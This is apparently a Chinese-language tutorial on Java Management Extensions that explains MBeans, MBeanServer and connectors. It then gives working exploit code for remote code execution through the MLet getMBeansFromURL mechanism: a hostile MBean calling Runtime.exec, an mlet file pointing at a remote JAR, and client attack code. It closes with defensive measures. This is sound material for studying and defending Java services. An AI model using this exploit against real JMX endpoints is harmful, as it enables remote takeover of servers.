JMX学习
字数 975 2025-08-24 16:48:17
JMX学习与攻击技术详解
JMX简介
JMX(Java Management Extensions,Java管理扩展)是一个为应用程序植入管理功能的框架,主要用于管理和监控Java应用程序中的资源。
JMX核心组件
1. MBean(Managed Bean)
MBean代表可管理的资源,是JMX架构中的核心概念。标准MBean需要遵循以下规范:
- 类名规范:实现类名必须与接口名对应(如
User类实现UserMBean接口) - 构造器要求:必须有无参构造器
- 方法规范:
- getter方法不能接收参数
- setter方法只能接收一个参数
示例MBean接口:
public interface UserMBean {
String getName();
void setName(String name);
int getAge();
void setAge(int age);
void study(String subject);
}
实现类:
public class User implements UserMBean {
private String name;
private int age;
// 构造器和方法实现...
}
2. MBeanServer
MBeanServer是MBean的注册中心和管理器,提供两种创建方式:
// 方式1:基础创建(jconsole不可见)
MBeanServer beanServer = MBeanServerFactory.createMBeanServer();
// 方式2:平台MBeanServer(jconsole可见)
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
注册MBean到MBeanServer:
User bean = new User("job", 20);
ObjectName objectName = new ObjectName("com.relaysec.bean:type=user,name=UserImpl");
beanServer.registerMBean(bean, objectName);
3. Connector
Connector分为服务端(Server)和客户端(Client):
Connector Server
// 创建Connector Server
JMXServiceURL serviceURL = new JMXServiceURL("rmi", "127.0.0.1", 9876);
JMXConnectorServer connectorServer =
JMXConnectorServerFactory.newJMXConnectorServer(serviceURL, null, beanServer);
// 开启监听
connectorServer.start();
JMXServiceURL connnectorServerAddress = connectorServer.getAddress();
System.out.println(connnectorServerAddress);
// 关闭
connectorServer.stop();
Connector Client
// 连接服务端
String connectorAddress = "service:jmx:rmi://127.0.0.1:9876/stub/...";
JMXServiceURL address = new JMXServiceURL(connectorAddress);
JMXConnector connector = JMXConnectorFactory.connect(address);
// 获取连接
MBeanServerConnection beanServerConnection = connector.getMBeanServerConnection();
// 调用MBean方法
ObjectName objectName = new ObjectName("com.relaysec.bean:type=user,name=UserImpl");
beanServerConnection.invoke(objectName, "study",
new Object[]{"Chinese"},
new String[]{String.class.getName()});
// 关闭连接
connector.close();
JMX攻击技术
1. 通过MLet实现远程代码执行
MLet是JMX中用于从远程加载MBean的机制,可被利用实现RCE。
攻击步骤:
- 创建恶意MBean:
public interface EvilMBean {
public void Command(String cmd);
}
public class Evil implements EvilMBean {
public void Command(String cmd) {
try {
Runtime rt = Runtime.getRuntime();
rt.exec("open -a Calculator");
} catch (Exception e) {
e.printStackTrace();
}
}
}
-
将恶意类打包为JAR(如
compromise.jar) -
创建MLet文件(mlet.html):
<html>
<mlet code="Evil" archive="compromise.jar"
name="MLetCompromise:name=evil,id=1"
codebase="http://127.0.0.1:4141">
</mlet>
</html>
-
启动Web服务提供这两个文件
-
攻击代码:
// 连接目标JMX服务
String connectorAddress = "service:jmx:rmi:///jndi/rmi://localhost:7896/jmxrmi";
JMXServiceURL address = new JMXServiceURL(connectorAddress);
JMXConnector connector = JMXConnectorFactory.connect(address);
// 获取MBeanServer连接
MBeanServerConnection beanServerConnection = connector.getMBeanServerConnection();
// 创建/获取MLet MBean
ObjectInstance evil = null;
try {
evil = beanServerConnection.createMBean("javax.management.loading.MLet", null);
} catch (InstanceAlreadyExistsException e) {
evil = beanServerConnection.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
}
// 从远程加载恶意MBean
Object getMBeansFromURL = beanServerConnection.invoke(
evil.getObjectName(),
"getMBeansFromURL",
new String[]{"http://127.0.0.1:4141/mlet"},
new String[]{String.class.getName()});
// 执行恶意代码
HashSet res_set = ((HashSet)getMBeansFromURL);
Iterator itr = res_set.iterator();
ObjectInstance evil_bean = ((ObjectInstance)itr.next());
beanServerConnection.invoke(evil_bean.getObjectName(), "Command",
new Object[]{"123"},
new String[]{String.class.getName()});
2. 攻击原理
漏洞点在于getMBeansFromURL方法:
- 创建/获取MLet MBean
- 调用
getMBeansFromURL从远程URL加载mlet文件 - 解析mlet文件,如果存在codebase则从远程加载JAR
- 将恶意MBean注册到MBeanServer
- 调用恶意MBean的方法实现RCE
防御措施
- 限制JMX端口的网络访问
- 启用JMX认证
- 使用SSL/TLS加密JMX通信
- 禁用不必要的JMX功能(如MLet)
- 定期更新Java运行环境
总结
JMX作为Java管理扩展框架,提供了强大的管理和监控能力,但也存在安全风险。理解其核心组件(MBean、MBeanServer、Connector)和工作原理,有助于开发安全的JMX应用和防御相关攻击。MLet机制的滥用是JMX攻击的主要方式,通过严格控制远程代码加载可以有效降低风险。